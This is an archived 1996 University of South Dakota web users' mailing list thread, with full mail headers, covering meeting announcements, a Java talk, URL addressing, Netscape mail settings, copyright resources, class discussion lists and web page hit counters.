that any other discussion > leaves time for Carol. (Right, Heidi?) > Absitively, posolutely. I'll be back from Idaho by then....(no fears, I'm still moving to Mexico!) :) Folks, please bring some ideas for the *next* meeting! And Carol, TIA! Cheers, Heidi Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id WAA26919 for ; Wed, 12 Jun 1996 22:17:57 -0500 Received: (from mrogge@localhost) by sunflowr.usd.edu (8.6.12/8.6.9) id WAA01502; Wed, 12 Jun 1996 22:13:49 -0500 Date: Wed, 12 Jun 1996 22:13:48 -0500 (CDT) From: Michelle Rogge X-Sender: mrogge@sunflowr To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: Next meeting -- Java is on! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Will JavaScript be discussed (as well as Java)? I have put one example of JavaScript on the USD Press home page (http://www.usd.edu/~usdpress). Check it out, bottom of screen. My husband and I have found _The Complete Idiot's Guide to JavaScript_ by Scott J. Walter & Aaron Weiss useful. (A little knowledge is a dangerous thing!) Java (not JavaScript) seems like a tough thing for an English major to learn. . . . ;-) --Michelle Rogge Gannon mrogge@sunflowr.usd.edu On Wed, 12 Jun 1996, Dale S. Farland wrote: > Web Users Group: > > Meeting! > > Next Friday, June 28 from 12:00 N - 1:00 PM > > ***------> Arts & Science rm 19 <------*** > > All come and let Carol Lushbough give you an introduction to Java. > > She has promised to show some examples, and I'm guessing that she will be > willing to answer questions. She DID NOT say anything about coffee being > available! Anyway, I think it will too warm outside. > > My regrets (so no one thinks I don't want to hear what she has to say), > I'll be out of town. In my absence, I have confidence that Heidi will be > more than happy to introduce Carol and make sure that any other discussion > leaves time for Carol. (Right, Heidi?) > > Dale > > Dale S. Farland, InTEC, School of Education (x5844) > dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland > > > Michelle Rogge Gannon mrogge@sunflowr.usd.edu Received: (from clushbou@localhost) by sunbird.usd.edu (8.6.12/8.6.9) id HAA05381; Thu, 13 Jun 1996 07:21:57 -0500 Date: Thu, 13 Jun 1996 07:21:56 -0500 (CDT) From: Carol Lushbough X-Sender: clushbou@sunbird To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: Next meeting -- Java is on! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII No, JavaScript will not be discussed because I've never used it. I've seen a few examples and I know some of the syntax resembles Java but that's about all I know about it. Sorry :( Carol Lushbough On Wed, 12 Jun 1996, Michelle Rogge wrote: > Will JavaScript be discussed (as well as Java)? > I have put one example of JavaScript on the USD Press home page > (http://www.usd.edu/~usdpress). Check it out, bottom of screen. > My husband and I have found _The Complete Idiot's Guide to JavaScript_ by > Scott J. Walter & Aaron Weiss useful. (A little knowledge is a dangerous > thing!) Java (not JavaScript) seems like a tough thing for an English > major to learn. . . . ;-) > > --Michelle Rogge Gannon mrogge@sunflowr.usd.edu > > > On Wed, 12 Jun 1996, > Dale S. Farland wrote: > > > Web Users Group: > > > > Meeting! > > > > Next Friday, June 28 from 12:00 N - 1:00 PM > > > > ***------> Arts & Science rm 19 <------*** > > > > All come and let Carol Lushbough give you an introduction to Java. > > > > She has promised to show some examples, and I'm guessing that she will be > > willing to answer questions. She DID NOT say anything about coffee being > > available! Anyway, I think it will too warm outside. > > > > My regrets (so no one thinks I don't want to hear what she has to say), > > I'll be out of town. In my absence, I have confidence that Heidi will be > > more than happy to introduce Carol and make sure that any other discussion > > leaves time for Carol. (Right, Heidi?) > > > > Dale > > > > Dale S. Farland, InTEC, School of Education (x5844) > > dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland > > > > > > > > Michelle Rogge Gannon > mrogge@sunflowr.usd.edu > > Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id LAA16728 for ; Mon, 17 Jun 1996 11:25:30 -0500 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Mon, 17 Jun 1996 11:26:42 -0500 (CDT) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <31C5A381@csmsgate.csrv.usd.edu>; Mon, 17 Jun 96 11:27:13 PDT From: ""Erickson, Sandra J."" To: webula-l Subject: RE: URL Addressing Date: Mon, 17 Jun 96 11:24:00 PDT Message-ID: <31C5A381@csmsgate.csrv.usd.edu> Encoding: 35 TEXT X-Mailer: Microsoft Mail V3.0 I believe that if you change mmarek.html to index.html, this will take care of your problem. That's how I have mine set up anyway. -Sandy Erickson USD Computing Services ---------- From: webula-l To: Multiple recipients of list Subject: URL Addressing Date: Wednesday, June 12, 1996 2:13PM I have a question about URLs and html file names, and the way they interact. My personal web page is at http://www.usd.edu/~mmarek/mmarek.html How do I arrange the file names, etc, so that this location can be reached by entering only: http://www.usd.edu/~mmarek I am interested in the same kind of addressing for the USD Foundation page, which is at http://www.usd.edu/foundation/alumni.html I'd rather have the address be http://www.usd.edu/foundation It is my impression, at least, that this is possible. --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id JAA16624 for ; Fri, 21 Jun 1996 09:02:49 -0500 Received: (from nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) id JAA16423; Fri, 21 Jun 1996 09:01:28 -0500 Date: Fri, 21 Jun 1996 09:01:28 -0500 (CDT) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: WEBULA-L Subject: Next Meeting Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Salutations! I had a request to clarify the next meeting time for the WWW User's Group, so here it is! :) Friday, June 28 from noon (12pm, that is!) - 1:00 PM ***------> Arts & Science rm 19 <------*** Please note the change from our usual location! And Carol, TIA for the JAVA program! :) Cheers, Heidi ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Heidi M. Nickisch, I.D. Weeks Library University of South Dakota, Vermillion, SD 57069-2390 Tel 605/677-6088 Fax 605/677-5488 Internet: nickisch@sundance.usd.edu URL: http://www.usd.edu/~nickisch/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id IAA28606 for ; Fri, 28 Jun 1996 08:20:24 -0500 Received: (from nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) id IAA06781; Fri, 28 Jun 1996 08:18:38 -0500 Date: Fri, 28 Jun 1996 08:18:32 -0500 (CDT) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: WEBULA-L Subject: VIMR! VIMR! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII That is, Very Important Meeting Reminder! The Webula Group will meet TODAY, ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Friday, June 28 from noon (12pm, that is!) - 1:00 PM ***------> Arts & Science rm 19 <------*** ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Hope to see you all there, Heidi ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Heidi M. Nickisch, I.D. Weeks Library University of South Dakota, Vermillion, SD 57069-2390 Tel 605/677-6088 Fax 605/677-5488 Internet: nickisch@sundance.usd.edu URL: http://www.usd.edu/~nickisch/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id LAA00302 for ; Mon, 8 Jul 1996 11:08:48 -0500 Received: from [192.236.45.17] (med17.med.usd.edu [192.236.45.17]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id LAA14251 for ; Mon, 8 Jul 1996 11:03:04 -0500 Message-Id: <199607081603.LAA14251@sunflowr.usd.edu> From: ""Barry Timms"" Subject: Netscape Mail To: Multiple recipients of list Date: Mon, 8 Jul 96 11:02:33 PDT Encoding: 15 TEXT ""Houston, we have a problem"" I recently started using Netscape mail and have been experiencing some problems with setup options. The following error message popped up after I tried to set the program to read my mail and leave the messages on the server: ""The POP3 server (sunflowr.usd.edu) does not support UIDL which Netscape needs to implement 'leave on server' and 'maximum messg. size' To download your mail turn off these options"" When I turned these options off, my mail was copied to my local hard drive and removed from the server... which is not want I wanted! One reason being that the mail is not password protected on my local drive. Does anyone have any experience with Netscape mail?? I normally use Pathway but Netscape allows one to view image files in the message and link URLs. What is 'UIDL?' Barry Timms, Anatomy Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id VAA27586 for ; Mon, 15 Jul 1996 21:50:37 -0500 From: CFEIGHT@charlie.usd.edu Date: Mon, 15 Jul 1996 21:51:58 -0500 (CDT) To: webula-l@sunbird.usd.edu Message-Id: <960715215158.15931@charlie.usd.edu> Subject: RE: Cyberspace Law for Non-Lawyers Since the August issue of PCWorld includes an article on cyberspace law, I thought I would share with you some of the online legal resources mentioned in the article (and in a sidebar on page 188): Information Law Alert http://infolawalert.com Electronic Frontier Foundation http://www.eff.org Copyright Clearance Center Online http://www.openmarket.com/copyright The article itself ""What you Can and Can't Get Away with Online"" was also interesting. hope everyone is having a good summer, Cheryl Cheryl Feight USD College of Fine Arts 677-5712 cfeight@charlie.usd.edu http://www.usd.edu/~cfeight Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id NAA06041 for ; Wed, 31 Jul 1996 13:47:09 -0500 Received: from localhost (mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) with SMTP id NAA01117 for ; Wed, 31 Jul 1996 13:45:05 -0500 X-Authentication-Warning: sundance.usd.edu: mmarek owned process doing -bs Date: Wed, 31 Jul 1996 13:45:05 -0500 (CDT) From: Michael Marek X-Sender: mmarek@sundance To: Webula List Subject: Real time Audio Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Do we have the capability at USD to offer any form of real time audio to people who connect to our WWW sites? What kind of hardware or special software does it take? How many people could connect to the audio at any given time? I am thinking about a specialized application for the Foundation or Alumni Association that would need to provide real time continuous audio from a specific source, as opposed to a ""pre-recorded"" digitized audio clip. Monaural low fidelity would be satisfactory for the application I have in mind, but it would have to be a live continuous audio feed. If we can't do that, do we have the capability to have pre-digitized audio, say a minute or two in length? Again, what special equipment would be need that is not currently available? ------------------------------ | Michael Marek | | University of South Dakota | | Foundation | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `----------------------------' Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id JAA18466 for ; Thu, 12 Sep 1996 09:04:26 -0500 Received: from ACHCOOR.SSS.USD.EDU (achcoor.sss.usd.edu [192.236.44.161]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id IAA00123 for ; Thu, 12 Sep 1996 08:54:15 -0500 Date: Thu, 12 Sep 1996 08:54:15 -0500 Message-Id: <1.5.4.16.19960912090636.1a6f8bee@sunflowr.usd.edu> X-Sender: bwjames@sunflowr.usd.edu X-Mailer: Windows Eudora Light Version 1.5.4 (16) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: webula-l@sunbird.usd.edu From: brad james Subject: fair use and copyrighted material Ran across this the other night. Some of you may already know about it but thought I'd run it by you anyway (since it has been a topic of past discussion) This site provides a large number of resources about the legal and non-legal use of another's copyrighted materials. The site is sponsored by the Council on Library Resources, FindLaw Internet Legal Resources, and the Stanford University Libraries and Academic Information Resources. http://fairuse.stanford.edu/ -------------------------------------------------------- ""DOS Computers manufactured by companies such as IBM, Compaq, Tandy, and millions of others are by far the most popular, with about 70 million machines in use worldwide. Macintosh fans, on the other hand, may note that cockroaches are far more numerous than humans, and that numbers alone do not denote a higher life form."" -New York Times, November 26, 1991 bwjames@sunbird.usd.edu Brad James Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id KAA21057 for ; Thu, 12 Sep 1996 10:03:04 -0500 From: CFEIGHT@charlie.usd.edu Date: Thu, 12 Sep 1996 10:04:45 -0500 (CDT) To: webula-l@sunbird.usd.edu Message-Id: <960912100445.5d0c7@charlie.usd.edu> Subject: web sources on copyright I found some additional resources on copyright that you may find helpful: The United States Copyright Office http://lcweb.loc.gov/copyright/ Copyright in Visual Arts http://www.fplc.edu/TFIELD/CopyVis.htm The Copyright Website http://www.benedict.com/ Copyright and Intellectual Property Resources http://www.nlc-bnc.ca/ifla/ll/cpyright.htm Electronic Frontier Foundation http://www.eff.org/pub/Intellectual_property/ best wishes, Cheri ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cheryl Feight, Director, CFA Computer Resources USD College of Fine Arts 605-677-5712 cfeight@charlie.usd.edu Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id IAA29574 for ; Wed, 18 Sep 1996 08:52:23 -0500 From: COLLETTE@charlie.usd.edu Date: Wed, 18 Sep 1996 8:54:07 -0500 (CDT) To: webula-l@sunbird.usd.edu Message-Id: <960918085407.66782@charlie.usd.edu> Subject: Computer Science Colloquium I thought this might be of interest to the group. Her Yaw Seet is presenting a colloquium this afternoon Sept 18 at 4:00 p.m. in the Williamson Room of the Arts and Sciences building. Yaw will be talking about his master's thesis ""An Instructor's Web Tool"". Yaw was one of our web masters for USD's home page last year. -Joe Collette Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id LAA28606 for ; Tue, 24 Sep 1996 11:45:30 -0500 Received: from clehmann.hist.usd.edu by charlie.usd.edu with SMTP; Tue, 24 Sep 1996 11:47:16 -0500 (CDT) Received: by clehmann.hist.usd.edu with Microsoft Mail id <01BBAA0D.755AC3C0@clehmann.hist.usd.edu>; Tue, 24 Sep 1996 11:42:26 -0500 Message-ID: <01BBAA0D.755AC3C0@clehmann.hist.usd.edu> From: Clayton Miles Lehmann To: ""'USD Webmasters' User Group'"" Subject: class discussions on the web Date: Tue, 24 Sep 1996 11:42:24 -0500 Encoding: 9 TEXT Dear Friends, Have any of you used the internet to maintain class discussions? I had in mind something like a guestbook to which I and my students could post questions and comments about given topics. But, as far as I've determined, setting up a guestbook involves putting cgi or perl files in the system directory, and I'd rather try something that will not involve any work by the system administrators if possible. Is it difficult to set up a discussion list? Clayton Received: from sunbird (sunbird.usd.edu [192.55.228.37]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id NAA19193 for ; Wed, 25 Sep 1996 13:52:55 -0500 Date: Wed, 25 Sep 1996 13:52:55 -0500 (CDT) From: ""Timothy H. Heaton"" X-Sender: theaton@sunbird To: Multiple recipients of list Subject: Re: class discussions on the web In-Reply-To: <01BBAA0D.755AC3C0@clehmann.hist.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 24 Sep 1996, Clayton Miles Lehmann wrote: > Dear Friends, > Have any of you used the internet to maintain class discussions? I had in > mind something like a guestbook to which I and my students could post > questions and comments about given topics. But, as far as I've determined, > setting up a guestbook involves putting cgi or perl files in the system > directory, and I'd rather try something that will not involve any work by > the system administrators if possible. Is it difficult to set up a > discussion list? Setting up a guestbook does not involve any work by the system administrators, but you do need to do a little cgi programming. Check out the guestbook I created for the Over Museum home page at and the list I made for students to add links relevant to class topics at . I also have sample interactive exams on the web at . I'd be happy to give you a hand at getting started or give a presentation on cgi/perl (what little I know about it) to the users group. Timothy H. Heaton /|Mountains /| theaton@sunbird.usd.edu Professor of Earth Sciences /::|Deserts /::| Phone: (605) 677-6122 University of South Dakota /::::|Caves /::::| FAX: (605) 677-6121 Vermillion, SD 57069 /::::::| /::::::| //www.usd.edu/~theaton Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id JAA18662 for ; Thu, 26 Sep 1996 09:48:14 -0500 Received: from localhost (mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) with SMTP id JAA11909 for ; Thu, 26 Sep 1996 09:45:09 -0500 X-Authentication-Warning: sundance.usd.edu: mmarek owned process doing -bs Date: Thu, 26 Sep 1996 09:45:09 -0500 (CDT) From: Michael Marek X-Sender: mmarek@sundance To: Webula List Subject: Counters Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have been using a web page counter from www.digits.com for the USD Foundation page. It has a graphic appearance that I like, but it seems that more often than not I get ""BUSY"" back, instead of a count. Does anyone have an opinion about what the most reliable counter is? ============================================================================ Michael Marek | ""With the first link, a chain is mmarek@sunflowr.usd.edu | forged. The first speech censured, Vermillion, SD | the first thought forbidden, the *USD Foundation Development Officer | first freedom denied, chains us *Civil Air Patrol NDRN Manager | all irrevocably."" *CAP-COMM & CAP-PAO List Owner | - Jean-Luc Picard, ""The Drumhead"" ============================================================================ Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA21039 for ; Thu, 26 Sep 1996 10:44:18 -0500 Received: from ACHCOOR.SSS.USD.EDU (achcoor.sss.usd.edu [192.236.44.161]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id KAA18523 for ; Thu, 26 Sep 1996 10:33:11 -0500 Date: Thu, 26 Sep 1996 10:33:11 -0500 Message-Id: <1.5.4.16.19960926104626.34af69fa@sunflowr.usd.edu> X-Sender: bwjames@sunflowr.usd.edu X-Mailer: Windows Eudora Light Version 1.5.4 (16) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: webula-l@sunbird.usd.edu From: brad james Subject: Re: Counters cgi counter on your own home page. there are several public domain one available. you only have to change the address for the location of the files within the perl scripts. set up some log files and change permissions. and finally add a line to the page you want to count. take a look at http://www.usd.edu/trio (bottom of the page) if you think this is good enough I can send you the scripts. or I suppose I could set up a page with description on how to do this. (Might take a day or two to find the time.) let me know what you think????? At 10:30 AM 9/26/96 -0500, you wrote: > >I have been using a web page counter from www.digits.com for the USD >Foundation page. It has a graphic appearance that I like, but it seems >that more often than not I get ""BUSY"" back, instead of a count. > >Does anyone have an opinion about what the most reliable counter is? > > > >============================================================================ > Michael Marek | ""With the first link, a chain is > mmarek@sunflowr.usd.edu | forged. The first speech censured, > Vermillion, SD | the first thought forbidden, the > *USD Foundation Development Officer | first freedom denied, chains us > *Civil Air Patrol NDRN Manager | all irrevocably."" > *CAP-COMM & CAP-PAO List Owner | - Jean-Luc Picard, ""The Drumhead"" >============================================================================ > > Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA21635 for ; Thu, 26 Sep 1996 10:58:29 -0500 Received: from localhost (emosterd@localhost) by sundance.usd.edu (8.6.12/8.6.12) with SMTP id KAA19818 for ; Thu, 26 Sep 1996 10:55:24 -0500 X-Authentication-Warning: sundance.usd.edu: emosterd owned process doing -bs Date: Thu, 26 Sep 1996 10:55:24 -0500 (CDT) From: The Colonel X-Sender: emosterd@sundance Reply-To: The Colonel To: Multiple recipients of list Subject: Re: Counters In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 26 Sep 1996, Michael Marek wrote: > > I have been using a web page counter from www.digits.com for the USD > Foundation page. It has a graphic appearance that I like, but it seems > that more often than not I get ""BUSY"" back, instead of a count. > > Does anyone have an opinion about what the most reliable counter is? > > > > ============================================================================ > Michael Marek | ""With the first link, a chain is > mmarek@sunflowr.usd.edu | forged. The first speech censured, > Vermillion, SD | the first thought forbidden, the > *USD Foundation Development Officer | first freedom denied, chains us > *Civil Air Patrol NDRN Manager | all irrevocably."" > *CAP-COMM & CAP-PAO List Owner | - Jean-Luc Picard, ""The Drumhead"" > ============================================================================ > > I used the counter in question on my home page and on the Farber Fund Home page, but I also encountered the same problem so I now use the same counter found on USD's home page. You can use it on your page by typing: in the body of the HTML document. /-------------------------------\\ |Eric Mosterd | |University of South Dakota | |Computer Science Department | |emosterd@sundance.usd.edu | |emosterd@charlie.usd.edu | |http://www.usd.edu/~emosterd/ | \\-------------------------------/ Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id LAA23009 for ; Thu, 26 Sep 1996 11:25:09 -0500 Received: from clehmann.hist.usd.edu by charlie.usd.edu with SMTP; Thu, 26 Sep 1996 11:26:55 -0500 (CDT) Received: by clehmann.hist.usd.edu with Microsoft Mail id <01BBAB9C.F0726FA0@clehmann.hist.usd.edu>; Thu, 26 Sep 1996 11:22:02 -0500 Message-ID: <01BBAB9C.F0726FA0@clehmann.hist.usd.edu> From: Clayton Miles Lehmann To: ""'webula-l@sunbird.usd.edu'"" Subject: RE: Counters Date: Thu, 26 Sep 1996 11:22:00 -0500 Encoding: 8 TEXT, 33 UUENCODE X-MS-Attachment: WINMAIL.DAT 0 00-00-1980 00:00 Use the counter from WebTools which executes on the university's server. The University home page, mine, and many others here use it and I have found it perfectly reliable. Just click on the number to go to WebTools for instructions. I wish setting up a guestbook were so easy! Clayton begin 600 WINMAIL.DAT M>)\\^(@(0`0:0"" `$```````!``$``0>0!@`(````Y 0```````#H``$-@ 0` M`@````(``@`!!) &`#0!```!````# ````,``# #````""P`/#@`````""`?\\/ M`0```$\\`````````@2L?I+ZC$!F=;@#=`0]4`@````!W96)U;&$M;$!S=6YB M:7)D+G5S9""YE9'4`4TU44 !W96)U;&$M;$!S=6YB:7)D+G5S9""YE9'4``!X` M`C !````!0```%--5% `````'@`#, $````9````=V5B=6QA+6Q ``$P`0```!L````G=V5B M=6QA+6Q ````4TU44#I714)5 M3$$M3$!354Y""25)$+E531""Y%1%4````#```Y``````L`0#H!`````@'V#P$` M```$`````````XL[`0B !P`8````25!-+DUI8W)O``@0`0```&4```!54T542$5#3U5.5$521E)/35=%0E1/3TQ35TA)0TA% M6$5#551%4T].5$A%54Y)5D524TE465-315)615)42$553DE615)325192$]- M15!!1T4L34E.12Q!3D1-04Y93U1(15)3``````(!""1 !````BP$``(?,C4U M`H '""H$-L0M@;F8!&Q*I :H!]P<%\\BT""C@""E 3P ;@;R? M=P4C\\G,HT&5A2C ;@J%%L$""`#"" ``,`$! ``````P`1$ `` M``! ```#T``0````4```!213H@```` #``;, ` end Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id NAA00445 for ; Thu, 26 Sep 1996 13:56:16 -0500 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Thu, 26 Sep 1996 13:58:02 -0500 (CDT) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <324AED1E@csmsgate.csrv.usd.edu>; Thu, 26 Sep 96 13:52:46 PDT From: ""Erickson, Sandra J."" To: webula-l Subject: Re: Counters Date: Thu, 26 Sep 96 13:51:00 PDT Message-ID: <324AED1E@csmsgate.csrv.usd.edu> Encoding: 36 TEXT X-Mailer: Microsoft Mail V3.0 This is the one that I have used since last year and it works really well. -Sandy **************************************************************************** ***************** Sandra J. Erickson serickso@charlie.usd.edu USD Computing Services a.k.a. Lit'l Cyclone ""Never ascribe to malice what can be perfectly well explained by stupidity."" **************************************************************************** ***************** ---------- I used the counter in question on my home page and on the Farber Fund Home page, but I also encountered the same problem so I now use the same counter found on USD's home page. You can use it on your page by typing: in the body of the HTML document. /-------------------------------\\ |Eric Mosterd | |University of South Dakota | |Computer Science Department | |emosterd@sundance.usd.edu | |emosterd@charlie.usd.edu | |http://www.usd.edu/~emosterd/ | \\-------------------------------/ Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id OAA01018 for ; Thu, 26 Sep 1996 14:09:34 -0500 Received: from localhost (nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) with SMTP id OAA17116 for ; Thu, 26 Sep 1996 14:06:27 -0500 X-Authentication-Warning: sundance.usd.edu: nickisch owned process doing -bs Date: Thu, 26 Sep 1996 14:06:27 -0500 (CDT) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance Reply-To: ""Heidi M. Nickisch"" To: Multiple recipients of list Subject: Re: class discussions on the web In-Reply-To: <01BBAA0D.755AC3C0@clehmann.hist.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 24 Sep 1996, Clayton Miles Lehmann wrote: > Have any of you used the internet to maintain class discussions? Clayton, I've recently set up (OK, Joe Collette recently set up *for* me ) a listserv for the A&S Internet classes I'm teaching. I don't yet know how well that will go, and I suspect (from other teachers' comments I've read) that it won't go as well as I hope. I know others at USD have set up listservs for their classes--how did those work out, folks (Brian?)? I'm planning on some *required* postings to the list, which will increase list traffic, natch, but may or may not increase actual discussion. If you've received answers by private email, Clayton, I'll bet there are several of us who'd appreciate a summary to webula-l! Cheers, Heidi ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Heidi M. Nickisch, I.D. Weeks Library University of South Dakota, Vermillion, SD 57069-2390 Tel 605/677-6088 Fax 605/677-5488 Internet: nickisch@sundance.usd.edu URL: http://www.usd.edu/~nickisch/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Received: from sunbird (sunbird.usd.edu [192.55.228.37]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id VAA17946 for ; Thu, 26 Sep 1996 21:09:32 -0500 Date: Thu, 26 Sep 1996 21:09:31 -0500 (CDT) From: ""Timothy H. Heaton"" X-Sender: theaton@sunbird To: Multiple recipients of list Subject: Re: class discussions on the web In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 26 Sep 1996, Heidi M. Nickisch wrote: > I've recently set up (OK, Joe Collette recently set up *for* me ) a > listserv for the A&S Internet classes I'm teaching. I don't yet know how > well that will go, and I suspect (from other teachers' comments I've read) > that it won't go as well as I hope. I know others at USD have set up > listservs for their classes--how did those work out, folks (Brian?)? I set up a list for one of my classes, but it was used by only a small handful of students who were already internet addicts. It will take some incentive to create widespread participation I'm afraid. Timothy H. Heaton /|Mountains /| theaton@sunbird.usd.edu Professor of Earth Sciences /::|Deserts /::| Phone: (605) 677-6122 University of South Dakota /::::|Caves /::::| FAX: (605) 677-6121 Vermillion, SD 57069 /::::::| /::::::| //www.usd.edu/~theaton Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id MAA24596 for ; Wed, 9 Oct 1996 12:23:25 -0500 Received: from acchcoor.sundance.usd.edu (achcoor.sss.usd.edu [192.236.44.161]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id MAA13448 for ; Wed, 9 Oct 1996 12:11:28 -0500 Message-Id: <1.5.4.32.19961009172614.00667280@sunflowr.usd.edu> X-Sender: bwjames@sunflowr.usd.edu X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 09 Oct 1996 12:26:14 -0500 To: webula-l@sunbird.usd.edu From: brad james Subject: counter discussion well the counter page (if you could call it that) is done. if you try it let me know where you have problems so I can add more description/ explanation, etc. http://www.usd.edu/trio/tut/counter/ prints counter on the page and ALSO keeps trace of date - time - ip address - ip name 96/10/9 12:30:08 192.236.44.161 achcoor.sss.usd.edu There are some brief instructions that will hopefully be enough. If you have any questions please e-mail me at bwjames@sundance.usd.edu. Please do not email the webula list. I make no claims at being very knowledgable on PERL but these two programs were in the public domain and they were free to alter and change as long as their origional writer remained mentioned. I did change it so you can log who is connecting. I have had people check out our TRIO pages http://www.usd.edu/trio from SDSU, idaho, indiana, nebraska, illinois, north dakota and 2 places from australia in the last few days. Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id MAA24831 for ; Wed, 9 Oct 1996 12:26:57 -0500 Received: from [192.236.47.2] (techguru.ed.usd.edu [192.236.47.2]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id MAA13599 for ; Wed, 9 Oct 1996 12:14:59 -0500 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 9 Oct 1996 12:27:06 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Web Users Group Meeting! Attention Web Users Group: I've scheduled the first meeting of the semester for: Wednesday, Oct 16, from noon to 1:00 in Room 110 of Delzell Education Building (east side of the building toward the north end). Please invite others who are new to campus or newly interested in Web page development. The 